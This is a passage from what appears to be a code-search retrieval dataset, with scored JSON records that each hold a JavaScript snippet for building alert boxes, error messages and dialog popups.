3.5 8.005 3.5c1.396 0 2.672.73 2.672 2.24 0 1.08-.635 1.594-1.244 2.057-.737.559-1.01.768-1.01 1.486v.105a.25.25 0 0 1-.25.25h-.81a.25.25 0 0 1-.25-.246l-.004-.217c-.038-.927.495-1.498 1.168-1.987.59-.444.965-.736.965-1.371 0-.825-.628-1.168-1.314-1.168-.803 0-1.253.478-1.342 1.134-.018.137-.128.25-.266.25h-.825zm2.325 6.443c-.584 0-1.009-.394-1.009-.927 0-.552.425-.94 1.01-.94.609 0 1.028.388 1.028.94 0 .533-.42.927-1.029.927z\\\"/></svg>\";\r\n color = \"alert-warning\";\r\n break;\r\n case \"error\":\r\n sign = \"<svg width=\\\"1em\\\" height=\\\"1em\\\" viewBox=\\\"0 0 16 16\\\" class=\\\"bi bi-exclamation-diamond-fill\\\" fill=\\\"currentColor\\\" xmlns=\\\"http://www.w3.org/2000/svg\\\"><path fill-rule=\\\"evenodd\\\" d=\\\"M9.05.435c-.58-.58-1.52-.58-2.1 0L.436 6.95c-.58.58-.58 1.519 0 2.098l6.516 6.516c.58.58 1.519.58 2.098 0l6.516-6.516c.58-.58.58-1.519 0-2.098L9.05.435zM8 4a.905.905 0 0 0-.9.995l.35 3.507a.552.552 0 0 0 1.1 0l.35-3.507A.905.905 0 0 0 8 4zm.002 6a1 1 0 1 0 0 2 1 1 0 0 0 0-2z\\\"/></svg>\";\r\n color = \"alert-danger\";\r\n break;\r\n case \"info\":\r\n sign = \"<svg width=\\\"1em\\\" height=\\\"1em\\\" viewBox=\\\"0 0 16 16\\\" class=\\\"bi bi-info-square-fill\\\" fill=\\\"currentColor\\\" xmlns=\\\"http://www.w3.org/2000/svg\\\"><path fill-rule=\\\"evenodd\\\" d=\\\"M0 2a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V2zm8.93 4.588l-2.29.287-.082.38.45.083c.294.07.352.176.288.469l-.738 3.468c-.194.897.105 1.319.808 1.319.545 0 1.178-.252 1.465-.598l.088-.416c-.2.176-.492.246-.686.246-.275 0-.375-.193-.304-.533L8.93 6.588zM8 5.5a1 1 0 1 0 0-2 1 1 0 0 0 0 2z\\\"/></svg>\";\r\n color = \"alert-info\";\r\n break;\r\n case \"success\":\r\n sign = \"<svg width=\\\"1em\\\" height=\\\"1em\\\" viewBox=\\\"0 0 16 16\\\" class=\\\"bi bi-check-square-fill\\\" fill=\\\"currentColor\\\" xmlns=\\\"http://www.w3.org/2000/svg\\\"><path fill-rule=\\\"evenodd\\\" d=\\\"M2 0a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V2a2 2 0 0 0-2-2H2zm10.03 4.97a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z\\\"/></svg>\";\r\n color = \"alert-success\";\r\n break;\r\n case \"debug\":\r\n sign = \"<svg width=\\\"1em\\\" height=\\\"1em\\\" viewBox=\\\"0 0 16 16\\\" class=\\\"bi bi-gear-fill\\\" fill=\\\"currentColor\\\" xmlns=\\\"http://www.w3.org/2000/svg\\\"><path fill-rule=\\\"evenodd\\\" d=\\\"M9.405 1.05c-.413-1.4-2.397-1.4-2.81 0l-.1.34a1.464 1.464 0 0 1-2.105.872l-.31-.17c-1.283-.698-2.686.705-1.987 1.987l.169.311c.446.82.023 1.841-.872 2.105l-.34.1c-1.4.413-1.4 2.397 0 2.81l.34.1a1.464 1.464 0 0 1 .872 2.105l-.17.31c-.698 1.283.705 2.686 1.987 1.987l.311-.169a1.464 1.464 0 0 1 2.105.872l.1.34c.413 1.4 2.397 1.4 2.81 0l.1-.34a1.464 1.464 0 0 1 2.105-.872l.31.17c1.283.698 2.686-.705 1.987-1.987l-.169-.311a1.464 1.464 0 0 1 .872-2.105l.34-.1c1.4-.413 1.4-2.397 0-2.81l-.34-.1a1.464 1.464 0 0 1-.872-2.105l.17-.31c.698-1.283-.705-2.686-1.987-1.987l-.311.169a1.464 1.464 0 0 1-2.105-.872l-.1-.34zM8 10.93a2.929 2.929 0 1 0 0-5.86 2.929 2.929 0 0 0 0 5.858z\\\"/></svg>\";\r\n color = \"alert-primary\";\r\n break;\r\n default:\r\n sign = \"<svg width=\\\"1em\\\" height=\\\"1em\\\" viewBox=\\\"0 0 16 16\\\" class=\\\"bi bi-question-square-fill\\\" fill=\\\"currentColor\\\" xmlns=\\\"http://www.w3.org/2000/svg\\\"><path fill-rule=\\\"evenodd\\\" d=\\\"M2 0a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V2a2 2 0 0 0-2-2H2zm3.496 6.033a.237.237 0 0 1-.24-.247C5.35 4.091 6.737 3.5 8.005 3.5c1.396 0 2.672.73 2.672 2.24 0 1.08-.635 1.594-1.244 2.057-.737.559-1.01.768-1.01 1.486v.105a.25.25 0 0 1-.25.25h-.81a.25.25 0 0 1-.25-.246l-.004-.217c-.038-.927.495-1.498 1.168-1.987.59-.444.965-.736.965-1.371 0-.825-.628-1.168-1.314-1.168-.803 0-1.253.478-1.342 1.134-.018.137-.128.25-.266.25h-.825zm2.325 6.443c-.584 0-1.009-.394-1.009-.927 0-.552.425-.94 1.01-.94.609 0 1.028.388 1.028.94 0 .533-.42.927-1.029.927z\\\"/></svg>\";\r\n color = \"alert-secondary\";\r\n break;\r\n }\r\n\r\n location.append(\"<div class=\\\"alert \" + color + \" alert-dismissible fade show\\\" role=\\\"alert\\\"><strong>\" + sign + \" \" + head + \"</strong> \" + body + \"<button type=\\\"button\\\" class=\\\"close\\\" data-dismiss=\\\"alert\\\" aria-label=\\\"Close\\\"><span aria-hidden=\\\"true\\\">&times;</span></button></div>\");\r\n}", "title": "" }, { "docid": "270171b8432c24c4a0ad430b3fc39c4c", "score": "0.59758747", "text": "function createAlertMsg() {\n if (game.settings.get(\"blind-roll-skills\", \"showHelpCards\")) {\n renderTemplate(\n \"modules/blind-roll-skills/templates/helpCard.html\",\n {}\n ).then((html) => {\n let options = {\n whisper: [game.user.id],\n speaker: {\n alias: game.i18n.localize(\"BLINDROLLSKILLS.ChatCardSpeaker\"),\n },\n content: html,\n };\n ChatMessage.create(options);\n });\n }\n}", "title": "" }, { "docid": "3f3acb50b12d0c458f67aa5051530c27", "score": "0.59705406", "text": "function error_alert(value) {\n $('#error').html(\n `<div class=\"alert alert-danger\" role=\"alert\"><strong><i class=\"la la-warning\"></i></strong>&ensp;${value}</div>`\n );\n }", "title": "" }, { "docid": "3b38a6dd3c9320ce40a09860eeb4b4c2", "score": "0.59595376", "text": "function showAlert(alertMessage, type){\n\tvar alertBox = document.createElement(\"div\");\n\tvar alertClose = document.createElement(\"a\");\n\tvar alertHeading = document.createElement(\"h4\");\n\tvar alertText = document.createElement(\"p\");\n\t\n\talertBox.innerHTML = \"\";\t\n\t\n\tswitch(type){\n\tcase AlertType.success:\n\t\talertBox.setAttribute(\"class\", \"span11 alert alert-block alert-success fade in\");\n\t\tbreak;\n\tcase AlertType.warning:\n\t\talertBox.setAttribute(\"class\", \"span11 alert alert-block fade in\");\n\t\tbreak;\n\tcase AlertType.error:\n\t\talertBox.setAttribute(\"class\", \"span11 alert alert-block alert-error fade in\");\n\t\tbreak;\n\t}\n\t\n\talertClose.setAttribute(\"class\", \"close\");\n\talertClose.setAttribute(\"data-dismiss\", \"alert\");\n\talertClose.setAttribute(\"href\", \"#\");\n\talertClose.innerHTML = \"&times;\";\n\t\n\talertHeading.setAttribute(\"class\", \"alert-heading\");\n\talertHeading.innerHTML = \"Warnung!\";\n\t\n\talertText.innerHTML = alertMessage;\n\t\n\talertBox.appendChild(alertClose);\n\talertBox.appendChild(alertHeading);\n\talertBox.appendChild(alertText);\n\t\n\treturn alertBox;\n}", "title": "" }, { "docid": "7f2e086070c3d861bfcdcccb1ca16777", "score": "0.59577924", "text": "function TemplateError()\n/*Plantilla de error para crear los errores especificos*/\n{\n TemplateError.prototype = new Error(); // Heredamos de error\n TemplateError.prototype.constructor = TemplateError;\n TemplateError.prototype.toString = function(){\n return this.name + \" \" + this.message;\n }\n}", "title": "" }, { "docid": "544c6b27f19762972afda5c519d70e51", "score": "0.59214705", "text": "function createAlertPopup (options) {\n // selectors\n const alertPopupStyleName = 'panel alert'\n const alertWarningStyle = 'alert--warning'\n const panelStyleName = 'panel milky'\n const alertMessageStyle = 'alert-message'\n\n // create our elements\n const parent = document.body\n const panel = createDiv()\n const alertDiv = createDiv()\n const alertMsg = createDiv()\n\n // set styles\n panel.className = panelStyleName\n alertDiv.className = `${alertPopupStyleName} ${alertWarningStyle}`\n alertMsg.className = alertMessageStyle\n\n // insert data into the div\n alertMsg.innerHTML = options.message\n\n // mount the elements\n parent.appendChild(panel)\n panel.appendChild(alertDiv)\n alertDiv.appendChild(alertMsg)\n\n // remove the element after a set time\n // TODO: convert to async so we get proper dev tool responses\n setTimeout(() => {\n utils.removeElFromDom(panel)\n Store.dispatch(alertOff())\n }, options.fadeoutTime)\n }", "title": "" }, { "docid": "3f75e9b55ab09316f5efcd5e4d9a7dcb", "score": "0.5900309", "text": "function addAlert(options) {\n\t\t$title.insertAdjacentHTML('afterend', tmpl('Alert', options));\n\t}", "title": "" }, { "docid": "47158e39fd58611a2fbf929a77af059c", "score": "0.58997065", "text": "function createPopup(msg, err = false) {\n var $alertbox = $('#alerts')\n $alertbox.text(msg);\n if (err) {\n $alertbox.css('color', 'red');\n } else {\n $alertbox.css('color', 'black');\n }\n}", "title": "" }, { "docid": "80900d2a67372f249250316e5029b4cd", "score": "0.58847487", "text": "alertErrorOK (message) {\n this.$alert(message, 'Error', {\n confirmButtonText: 'OK'\n })\n }", "title": "" }, { "docid": "5ccadfe0b1c9af4292c87dade46c8e03", "score": "0.5867568", "text": "function error(err) {\n showAlert('danger', err, 0)\n}", "title": "" }, { "docid": "b196cd2edd71034db99e8b64d36a6c7f", "score": "0.58319175", "text": "function customError(response, buttonActions) {\n Alert.alert(\n 'Error',\n response.errors.join(\"\\n\"),\n buttonActions,\n )\n}", "title": "" }, { "docid": "4932ef131725ba57e92423149c7a8164", "score": "0.5822888", "text": "function errorRender(err) {\n console.log(`Error: ${err.statusText}`);\n alert(`Error: ${err.statusText}`);\n\n $(\"#errorMessage\").html(`${err.statusText}`);\n}", "title": "" }, { "docid": "bd0b40486bf1ba66f53de105d3885c10", "score": "0.5801449", "text": "function add_alert(type,message) {\n alert = \"<div class='alert alert-\"+type+\" alert-dismissible' role='alert'>\"+\n \" <button type='button' class='close' data-dismiss='alert' aria-label='Close'><span aria-hidden='true'>&times;</span></button>\"+\n message+\n \"</div>\";\n $('#alert-popup').html(alert);\n}", "title": "" }, { "docid": "831aece1de3a8f1e5212c8191cae3fdd", "score": "0.5799325", "text": "function getContactErrorHTML( message ){\n\treturn '<p>' + message + '</p>';\n}", "title": "" }, { "docid": "c8430029af492905ee68b6a9786deb6a", "score": "0.5794416", "text": "function alert(args) {\n var dialogComponent;\n var dialogElement = Object(_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"createElement\"])('div', { 'className': DLG_UTIL_ALERT });\n document.body.appendChild(dialogElement);\n var alertDialogObj;\n var okButtonModel = [{\n buttonModel: { isPrimary: true, content: 'OK' },\n click: function () {\n this.hide();\n }\n }];\n if (typeof (args) === 'string') {\n alertDialogObj = createDialog({ content: args,\n position: { X: 'center', Y: 'top' },\n isModal: true, header: DLG_UTIL_DEFAULT_TITLE,\n buttons: okButtonModel }, dialogElement);\n }\n else {\n alertDialogObj = createDialog(alertOptions(args), dialogElement);\n }\n alertDialogObj.close = function () {\n alertDialogObj.destroy();\n if (alertDialogObj.element.classList.contains('e-dlg-modal')) {\n alertDialogObj.element.parentElement.remove();\n alertDialogObj.target.classList.remove(DLG_UTIL_ROOT);\n }\n else {\n alertDialogObj.element.remove();\n }\n };\n return alertDialogObj;\n }", "title": "" }, { "docid": "c8430029af492905ee68b6a9786deb6a", "score": "0.5794416", "text": "function alert(args) {\n var dialogComponent;\n var dialogElement = Object(_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"createElement\"])('div', { 'className': DLG_UTIL_ALERT });\n document.body.appendChild(dialogElement);\n var alertDialogObj;\n var okButtonModel = [{\n buttonModel: { isPrimary: true, content: 'OK' },\n click: function () {\n this.hide();\n }\n }];\n if (typeof (args) === 'string') {\n alertDialogObj = createDialog({ content: args,\n position: { X: 'center', Y: 'top' },\n isModal: true, header: DLG_UTIL_DEFAULT_TITLE,\n buttons: okButtonModel }, dialogElement);\n }\n else {\n alertDialogObj = createDialog(alertOptions(args), dialogElement);\n }\n alertDialogObj.close = function () {\n alertDialogObj.destroy();\n if (alertDialogObj.element.classList.contains('e-dlg-modal')) {\n alertDialogObj.element.parentElement.remove();\n alertDialogObj.target.classList.remove(DLG_UTIL_ROOT);\n }\n else {\n alertDialogObj.element.remove();\n }\n };\n return alertDialogObj;\n }", "title": "" }, { "docid": "642158db5e4e25b3e16ecce9607f6745", "score": "0.5793058", "text": "function displayErrorMessage(error){\r\n Alert.alert(error);\r\n}", "title": "" }, { "docid": "08c7a29bd47c6cef4d425c5d09d08ebf", "score": "0.5789652", "text": "getAlertIfNeeded() {\n if (this.state.alert !== \"\") {\n return (\n <Alert variant={this.state.alert}>\n {this.state.alertMessage}\n </Alert>\n );\n }\n\n if (this.areResultsEmpty()) {\n return <Alert variant=\"warning\">{l.noTechnicians}</Alert>;\n }\n\n switch (this.state.currentMonthPhase) {\n case \"current\":\n return (\n <Alert variant=\"info\">\n {l.alertEditingCurrentCalendar}\n </Alert>\n );\n case \"past\":\n return (\n <Alert variant=\"info\">\n {l.alertCannotEditPastCalendar}\n </Alert>\n );\n case \"reservations\":\n return (\n <Alert variant=\"info\">\n {l.alertDisplayingReservationCalendar}\n </Alert>\n );\n }\n }", "title": "" }, { "docid": "838b39e175444a8cca1b7838a513ff22", "score": "0.5787759", "text": "function createAlertBox(message){\n const button = document.getElementsByTagName('button')[0];\n console.log(document.getElementById('error'));\n\n if(document.getElementById('error') !== null){\n console.log('error exists');\n let p = document.getElementById('error');\n if(p.innerHTML !==''){\n p.innerHTML += '<br>';\n }\n p.innerHTML += `${message}`;\n }\n else{\n //Create an error box above button\n p = document.createElement('p');\n\n p.id = 'error';\n p.style.color = 'red';\n p.style.border ='solid';\n p.style.padding = '5px 5px 5px 5px'\n p.style.borderColor = 'red';\n p.style.backgroundColor = 'white';\n p.innerText = message;\n button.parentElement.insertBefore(p, button);\n }\n return p;\n }", "title": "" }, { "docid": "07300d193bf2e3e27bac99f5d582a299", "score": "0.5755458", "text": "function Alert({ message }) {\n return <div>{message}</div>;\n}", "title": "" }, { "docid": "a73e5111d6bf634876890974527abc11", "score": "0.57364357", "text": "function showAlert(title, subtitle, type){\n var iserror = \"error\";\n if(type == 'success') iserror = 'success';\n swal(\n title,\n subtitle,\n type\n )\n}", "title": "" }, { "docid": "e36ff0fe9533e9e10ac12fead7595640", "score": "0.57359064", "text": "function displayalert(errorText) {\n alert(errorText);\n}", "title": "" }, { "docid": "2eee8dc77b8a84c0dbcd64d16100eeaf", "score": "0.5729932", "text": "function alert(args) {\n let dialogElement = Object(_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"createElement\"])('div', { 'className': DLG_UTIL_ALERT });\n document.body.appendChild(dialogElement);\n let alertDialogObj;\n let okButtonModel = [{\n buttonModel: { isPrimary: true, content: 'OK' },\n click: function () {\n this.hide();\n }\n }];\n if (typeof (args) === 'string') {\n alertDialogObj = createDialog({ content: args,\n position: { X: 'center', Y: 'top' },\n isModal: true, header: DLG_UTIL_DEFAULT_TITLE,\n buttons: okButtonModel }, dialogElement);\n }\n else {\n alertDialogObj = createDialog(alertOptions(args), dialogElement);\n }\n alertDialogObj.close = () => {\n if (args && args.close) {\n args.close.apply(alertDialogObj);\n }\n alertDialogObj.destroy();\n if (alertDialogObj.element.classList.contains('e-dlg-modal')) {\n alertDialogObj.element.parentElement.remove();\n alertDialogObj.target.classList.remove(DLG_UTIL_ROOT);\n }\n else {\n alertDialogObj.element.remove();\n }\n };\n return alertDialogObj;\n }", "title": "" }, { "docid": "6107878ae7474e1da0e207077d92f6bf", "score": "0.5723259", "text": "function errorMsg(xhr, ajaxOptions, thrownError) {\n alert(xhr.statusText);\n alert(thrownError);\n\n 'Error! Something went wrong. Please try again.'.Localize(function (translation)\n {\n \talert(translation);\n });\n}", "title": "" }, { "docid": "a75f81be4747d7347cf6aa751e157f7b", "score": "0.5715978", "text": "render() {\n \tif (this.props.errorMessage && this.props.errorMessage.length > 0) {\n\t return (\n\t <Alert variant=\"danger\">\n\t {this.renderErrorMessage(this.props.errorMessage)}\n\t </Alert>\n\t );\n \t}\n \treturn null;\n }", "title": "" }, { "docid": "dacb4b3570ab4e0d70d3eb69dca68d60", "score": "0.5704972", "text": "function createErrorMessageElement() {\n // Clone error message from template.\n const errorMessageClone =\n document.querySelector('#error-message-template').content.cloneNode(true);\n\n // Fill in template fields with correct information.\n errorMessageClone.querySelector('h3').innerText =\n 'Sorry, no results found. Please try again or refine your search.';\n\n // Attach error message clone to parent div.\n document.getElementById('receipts-display').appendChild(errorMessageClone);\n}", "title": "" }, { "docid": "f00e04cc9962c91e9ca1033b75cee175", "score": "0.56899935", "text": "function spawnAlert(type, alertMsg){\n alert_class = \"alert alert-{} alert-dismissible fade show\".replace(\"{}\", type)\n alert = \"<div class='{0}'>{1}<a class='close' data-dismiss='alert'>&times;</a></div>\"\n .replace(\"{0}\", alert_class)\n .replace(\"{1}\", alertMsg);\n console.log(alert_class)\n $(\".alerts\").append(alert)\n .attr(\"role\", \"alert\");\n}", "title": "" }, { "docid": "afa08eb2e53e4f5ce97babbbc701b251", "score": "0.5678392", "text": "function createAlert (type, title, message, region, details) {\n\n // TODO buffer previous alerts and shown them on a list\n \n var alert = $('<div>')\n .addClass('alert alert-dismissible alert-' + type + ' fade in')\n .attr('role', 'alert')\n .html('<button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>');\n\n if (region) {\n // Region\n $('<strong>')\n .text(region + ' ')\n .appendTo(alert);\n }\n\n // Title\n $('<strong>')\n .text(title + ' ')\n .appendTo(alert);\n\n // Message\n $('<span>')\n .text(message + ' ')\n .appendTo(alert);\n\n if (details) {\n // Details\n var detailsMessage = $('<div>')\n .appendTo(alert)\n .hide();\n for (var detail in details) {\n detailsMessage.text(detailsMessage.text() + details[detail] + ' ');\n }\n\n // Toggle details\n $('<a>')\n .text('Details')\n .click(function () {\n detailsMessage.toggle('fast');\n })\n .insertBefore(detailsMessage);\n }\n\n $('body').append(alert);\n\n }", "title": "" }, { "docid": "0b548b74b43e8c2686df987a5dacde40", "score": "0.5678281", "text": "function displayErrorAlert (message) {\n const errorAlert = document.getElementById('error-alert').innerHTML\n const main = document.getElementById('main')\n main.insertAdjacentHTML('afterbegin', errorAlert)\n\n const errorMessage = document.getElementById('error-text')\n errorMessage.innerHTML = message\n}", "title": "" }, { "docid": "ec24ba72fb21d753455c8c2a952dfa85", "score": "0.5677478", "text": "function createAlertWarning(text) {\n\n $.notify({\n title: '<strong>Warning: </strong>',\n message: text\n },{\n type: 'warning',\n animate: {\n enter: 'animated bounceInDown',\n exit: 'animated bounceOutUp'\n }\n });\n}", "title": "" }, { "docid": "f2ce48cdcd1b2030a50335729e991e91", "score": "0.56744474", "text": "function show_failure_alert(message)\n{\n $(\"#error_alert\").append(message);\n $(\"#error_alert\").show();\n}", "title": "" }, { "docid": "d723b1ec8bbdff5c18f4e8b559340a86", "score": "0.56744236", "text": "function insertAlert() {\n return `<a class=\"waves-effect\" href=\"#!\">Jen</a>`\n}", "title": "" }, { "docid": "b455671ad3f0082947344233aabb7911", "score": "0.5663924", "text": "function makeAlert() {\n\t\tfname.classList.add(`alert`)\n\t\tsname.classList.add(`alert`)\n\t\tfname.placeholder = `*Enter your name`\n\t\tsname.placeholder = `*Enter your crush name`\n\n\t}", "title": "" }, { "docid": "769dbfe3d283ae3d5ac7f3d631207da0", "score": "0.56367016", "text": "function CustomAlert(){\n this.render = function(dialog){\n var winW = window.innerWidth;\n var winH = window.innerHeight;\n var dialogoverlay = document.getElementById('dialogoverlay');\n var dialogbox = document.getElementById('dialogbox');\n dialogoverlay.style.display = \"block\";\n dialogoverlay.style.height = winH+\"px\";\n dialogbox.style.left = (winW/2) - (550 * .5)+\"px\";\n dialogbox.style.top = \"100px\";\n dialogbox.style.display = \"block\";\n document.getElementById('dialogboxhead').innerHTML = \"Error\";\n document.getElementById('dialogboxbody').innerHTML = dialog;\n document.getElementById('dialogboxfoot').innerHTML = '<button onclick=\"Alert.ok(); return false\">OK</button>';\n\n\n\n }\n this.ok = function(){\n document.getElementById('dialogbox').style.display = \"none\";\n document.getElementById('dialogoverlay').style.display = \"none\";\n }\n }", "title": "" }, { "docid": "23224c7cc10017e558ae09a02de75e68", "score": "0.56343085", "text": "tempAlert(msg, duration) {\n var el = document.createElement(\"div\");\n el.setAttribute(\n \"style\",\n \"position:absolute;top:40%;left:20%;font-weight: 600\"\n );\n el.setAttribute(\"class\", \"alert alert-info\");\n el.innerHTML = msg;\n setTimeout(function () {\n el.parentNode.removeChild(el);\n }, duration);\n document.body.appendChild(el);\n }", "title": "" }, { "docid": "51fb70f57a9cd49aa1751b464db05c9f", "score": "0.5634216", "text": "function showErrorAlert(reason, detail) {\n var msg = '';\n if (reason === 'unsupported-file-type') {\n msg = \"Unsupported format \" + detail;\n }\n else {\n console.log(\"error uploading file\", reason, detail);\n }\n $('<div class=\"alert\"> <button type=\"button\" class=\"close\" data-dismiss=\"alert\">&times;</button>' +\n '<strong>File upload error</strong> ' + msg + ' </div>').prependTo('#alerts');\n }", "title": "" }, { "docid": "cea6b89099ba3e9ef901e225606b48f6", "score": "0.56279624", "text": "error(summary, detail, sticky = true, life = 3000) {\n this.growl.show({ severity: 'error', summary, detail, sticky, life });\n }", "title": "" }, { "docid": "b68f95365e21a38fc6ce4551e2f10c29", "score": "0.56265014", "text": "function createAlertDialog(title, message, cancelLabel) {\n let dialog = new Alert();\n \n dialog.title = title;\n dialog.message = message;\n \n dialog.addCancelAction(cancelLabel);\n \n return dialog;\n}", "title": "" }, { "docid": "b68f95365e21a38fc6ce4551e2f10c29", "score": "0.56265014", "text": "function createAlertDialog(title, message, cancelLabel) {\n let dialog = new Alert();\n \n dialog.title = title;\n dialog.message = message;\n \n dialog.addCancelAction(cancelLabel);\n \n return dialog;\n}", "title": "" }, { "docid": "f79a95ee612d2be3f8a170491a9b12be", "score": "0.56222254", "text": "function showError(aMsg, aWindow=null) {\n Services.prompt.alert(aWindow, cal.calGetString(\"calendar\", \"genericErrorTitle\"), aMsg);\n}", "title": "" }, { "docid": "2672e27c27f5114eb8959a26f5644dd0", "score": "0.56211", "text": "function showAlert(title, message, style){\n\tvar alert = grabEBI(\"alert\");\n\talert.className = \"alert \" + style;\t\t\t\n\talert.innerHTML = '<a href=\"#\" class=\"close\" data-dismiss=\"alert\" style=\"display: none\">&times;</a><strong>'+title+'</strong><br>' + message;\n}", "title": "" }, { "docid": "1a6e6ff054b9d5a6fda56728a8981eba", "score": "0.5614969", "text": "function standardError(response) {\n Alert.alert(\n 'Error',\n response.errors.join(\"\\n\"),\n [\n {text: 'OK', onPress: () => console.log('OK Pressed')},\n ],\n )\n}", "title": "" }, { "docid": "437f37621f700e4188da053d972fc3fe", "score": "0.56146276", "text": "function renderEmpty() {\n var alertDiv = $(\"<div>\");\n alertDiv.addClass(\"alert alert-danger\");\n alertDiv.text(\"You must create an Author before you can create a Post.\");\n authorContainer.append(alertDiv);\n }", "title": "" }, { "docid": "b254b2d3017b1e17ef71140ba11f13b5", "score": "0.5612619", "text": "function createErrorHtml(code) {\n\tvar errorMsg = document.createElement(\"p\");\n\terrorMsg.setAttribute(\"class\", \"warning\");\n\tif (code == ERROR_NO_SEARCH_RESULTS) {\n\t\terrorMsg.innerHTML = MSG_NO_SEARCH_RESULTS;\n\t} else if (code == ERROR_NO_RESULTS) {\n\t\terrorMsg.innerHTML = MSG_NO_RESULTS;\n\t} else {\n\t\terrorMsg.innerHTML = MSG_SYSTEM_CRASH;\n\t}\n\t\n\treturn errorMsg;\n}", "title": "" }, { "docid": "0870063a3e15079999be269bd6a6121d", "score": "0.5610619", "text": "function triggerAlert(alertText, bsStyle) {\n document.getElementById(\"alert.container\").innerHTML = '<div class=\"alert alert-' + bsStyle + ' fade show\">' +\n '<button type=\"button\" class=\"close\" data-dismiss=\"alert\"> &times;</button>' + alertText + '</div>';\n}", "title": "" }, { "docid": "456108a0cd64f3a14f1c050c5d8f2670", "score": "0.56026286", "text": "function displayAlert(info) {\n\n //usr information is missing display in the proper tag\n var divContainer = document.getElementById(\"divmsg\");\n var msg = document.createElement(\"strong\");\n\n divContainer.className = \"alert alert-danger\";\n msg.innerHTML = info;\n\n //Check for previous alert and delete if it exists\n if (divContainer.innerHTML !== \"\") {\n divContainer.innerHTML = \"\";\n }\n\n divContainer.appendChild(msg);\n}", "title": "" }, { "docid": "477fa525237715a4db124b84ebf96b8f", "score": "0.5598212", "text": "function feedbackError(message){\n // this checks if alertify is here\n if(alertify){\n alertify.error(message);\n }\n }", "title": "" }, { "docid": "57583aafa2baef0edc40d02d1d6fd302", "score": "0.55902493", "text": "function alert(message) {\n console.warn('Calling a simple alert function not allowed in SRM. Please use apex.message.alert');\n apex.message.alert(message);\n}", "title": "" }, { "docid": "d3c2b05c2512d2ace7a4b8739dff8b47", "score": "0.55876386", "text": "function showError(error){\n notificationElement.style.display = \"block\" ;\n notificationElement.innerHTML=`<p>${error.message} </p>` ;\n\n}", "title": "" }, { "docid": "96657b8b9509e8bf40a9770b950f2858", "score": "0.5581362", "text": "function render_error(msg) {\r\n return \"<span id='errorbox'><span id='errorheader'>Fehler in Eingabe:</span> <span id='errormessage'>\" + msg + \"</span></span>\";\r\n}", "title": "" }, { "docid": "67c4b27f2d4a43842073f8e38689f2f6", "score": "0.5575504", "text": "function alert(args) {\n var dialogElement = createElement('div', { 'className': DLG_UTIL_ALERT });\n document.body.appendChild(dialogElement);\n var alertDialogObj;\n var okButtonModel = [{\n buttonModel: { isPrimary: true, content: 'OK' },\n click: function () {\n this.hide();\n }\n }];\n if (typeof (args) === 'string') {\n alertDialogObj = createDialog({ content: args,\n position: { X: 'center', Y: 'top' },\n isModal: true, header: DLG_UTIL_DEFAULT_TITLE,\n buttons: okButtonModel }, dialogElement);\n }\n else {\n alertDialogObj = createDialog(alertOptions(args), dialogElement);\n }\n alertDialogObj.close = function () {\n if (args && args.close) {\n args.close.apply(alertDialogObj);\n }\n alertDialogObj.destroy();\n if (alertDialogObj.element.classList.contains('e-dlg-modal')) {\n alertDialogObj.element.parentElement.remove();\n alertDialogObj.target.classList.remove(DLG_UTIL_ROOT);\n }\n else {\n alertDialogObj.element.remove();\n }\n };\n return alertDialogObj;\n }", "title": "" }, { "docid": "fcaac29224733fb59343fe40d6e386e8", "score": "0.55701023", "text": "function errorHtml(text){\n return '<span class=\"message-error configure-error\">'+\n text+\n '</span>';\n }", "title": "" }, { "docid": "a2b241082facebc464caa7a160415834", "score": "0.55679715", "text": "function newAlert(msg) {\n $(\"#alerts\").append(`\n <div class=\"alert alert-dark\" role=\"alert\">\n <p style=\"font-size: 10.5px;\">` + msg + `</p>\n </div>\n <br>\n `);\n }", "title": "" }, { "docid": "027005366b025008d4cad15e8acbbdec", "score": "0.55630296", "text": "function renderError(err) {\n let flexItem = $('main');\n flexItem.append('<p class=\"alert alert-danger\"></p>');\n $('.alert alert-danger').text(err.message);\n}", "title": "" }, { "docid": "960dd4c4b52b1e882f30526a3aaaf71d", "score": "0.55557805", "text": "function AlertModalError(title, msglist, btnlabel) {\n var sTitle = null;\n var sMsg = null;\n var sButtonLabel = \"确定\";\n\n if (IsN(title)) {\n sTitle = \"错误提示\";\n } else {\n sTitle = title;\n }\n\n if (!IsN(btnlabel)) {\n sButtonLabel = btnlabel;\n }\n\n if (!isArray(msglist)) {\n sMsg = '<ul><li class=\"text-danger\">' + msglist + '</li></ul>';\n } else {\n var ErrorDom = [];\n var ErrorList = msglist;\n var nErrorCount = 0;\n\n if (!IsN(ErrorList)) {\n nErrorCount = ErrorList.length;\n }\n\n ErrorDom.push('<ul>');\n\n for (var i = 0; i < nErrorCount; i++) {\n ErrorDom.push('<li class=\"text-danger\">' + ErrorList[i] + '</li>');\n }\n\n ErrorDom.push('</ul>');\n\n sMsg = ErrorDom.join('');\n }\n\n\n var options = {\n message: sMsg,\n title: '<span class=\"text-danger\">' + sTitle + '</span>',\n size: 'sm',\n subtitle: '',\n useBin: false,\n buttons: [\n {text: sButtonLabel, style: 'danger', close: true}\n ]\n };\n\n eModal.alert(options);\n}", "title": "" }, { "docid": "247f7e92fc5703eecc7aca12a364f97d", "score": "0.55493826", "text": "function renderEmpty() {\n var alertDiv = $(\"<div>\");\n alertDiv.addClass(\"alert alert-danger\");\n alertDiv.text(\"You must create a Group before you can create a User.\");\n groupContainer.append(alertDiv);\n }", "title": "" }, { "docid": "22718703684791adada83c6d96310b9e", "score": "0.55487585", "text": "renderAlert(resolve,reject,message){\n\n this.vueInstance= new Vue({\n render: h => h( Alert,{\n props:{\n message:message\n },\n on:{\n ok:() => { this.ok(resolve)},\n cancel:()=>{ this.cancel(reject) }\n }\n })\n }).$mount();\n document.body.appendChild(this.vueInstance.$el);\n\n }", "title": "" }, { "docid": "0f7ef66ba587aaa685ec9301cc85c681", "score": "0.55422956", "text": "function errorHtml(text){\n 